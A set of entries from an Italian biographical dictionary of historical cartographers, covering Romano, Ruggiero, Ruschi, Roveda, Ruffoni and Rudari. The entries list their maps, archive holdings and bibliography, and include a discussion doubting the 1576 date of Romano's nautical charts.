Autore della scheda: Massimo Quaini



Romano, Nicolò (Nicolaus Romano)


N.
M.

Relazioni di parentela: Non si conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo a Messina, 1576?.

Produzione scientifica:

Produzione di cartografia manoscritta:
l) Nicolaus Romano F Mrssane Anno [1576], carta nautica, venduta nell'asta Rubinacci, Genova, 1996.
2) Messina, 1576, carta nautica del Tirreno meridionale, New York, Richard B. Arkway, Catalogo XXXI, n° 126.
3) Messina, 1576, carta nautica del Tirreno settentrionale, asta Sotheby's 13-04-1989, lotto 235 e asta Sotheby's 07-12-1989, lotto 215.
Le tre carte, di dimensioni molto simili cm 52-55 x 74-75, devono avere fatto par­te di un piccolo atlante. La data, in parte abrasa sulla prima carta, lascia qualche perplessità. Lo stile, con ricche decorazioni alquanto grossolane, ricorda piuttosto le carte del XVII secolo; inoltre l'asse del Mediterraneo corretto è molto raro nel XVI secolo e si incontra di frequente solo nel secolo successivo.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
Non se ne conoscono.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo



Ruggiero, Pietro

Pietro Ruggiero
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Autore

Biografia:
XVII secolo.

Produzione scientifica:
Autore di una seicentesca pianta del forte di Malamocco posto all'ingresso di quel porto, tra il mare e la laguna (ASVe)

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Ruschi, Giovanni Battista

Giovanni Battista Ruschi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore

Biografia:
XVII secolo.

Produzione scientifica:
Autore con Francesco Fiorini nel 1665 di una carta geografica dei possedimenti detti Cuor di Nasso, Tre Ponti, Motte di Morenzuol, presso Brondolo, tra il Brenton, il canale dei Cori, della Bebba e Lombardo (ASVe).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Roveda, Plinio Antonio

Plinio Antonio Roveda
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore, ingegnere

Biografia:
XVIII-XIX secolo.

Produzione scientifica:
Nome rilevante della cartografia veronese d’epoca veneta e napoleonica, socio corrispondente dell’Accademia di Agricoltura Arti e Commercio di Verona, anche per la quale lavorò intensamente. Ingegnere capo della Città di Verona. Nell’ASVr sono presenti parecchie sue carte, quasi tutte datate fra il 1775 e il 1813, predisposte di norma per le istituzioni. Nell asua committenza privata si trovano Rubiani, Guastaverza, Pompei, Memo, Sparavieri, Dionisi, Monga. I suoi due disegni nella BCVr datano 1804 e 1811. Il primo delinea l’idrografia del suolo fra il Garda e l’Adriatico; il secondo riproduce la strada postale dalla chiusa d’Adige.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Filippi 1996-97, pp. 15-45; Mazzi 1978, sch. 22Storari 1851, pp. 357-390; Viviani 1980-81, pp. 170, 171; Viviani 1982, sch. 9, 40; Viviani 1992.

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Ruffoni, Giacomo

Giacomo Ruffoni
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Incisore, calcografo padovano

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bocchi-Oradini 1983, n. 22; Tentori 1988, p. 179.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Rudari, F.

F. Rudari
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Autore

Biografia:
Prima metà XIX secolo.

Produzione scientifica:
Disegna tra 1820 e 1825 con Emi e Devigili dei rilievi di pianta e prospetti del palazzo a Prato in via Calepina a Trento (ASTn).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio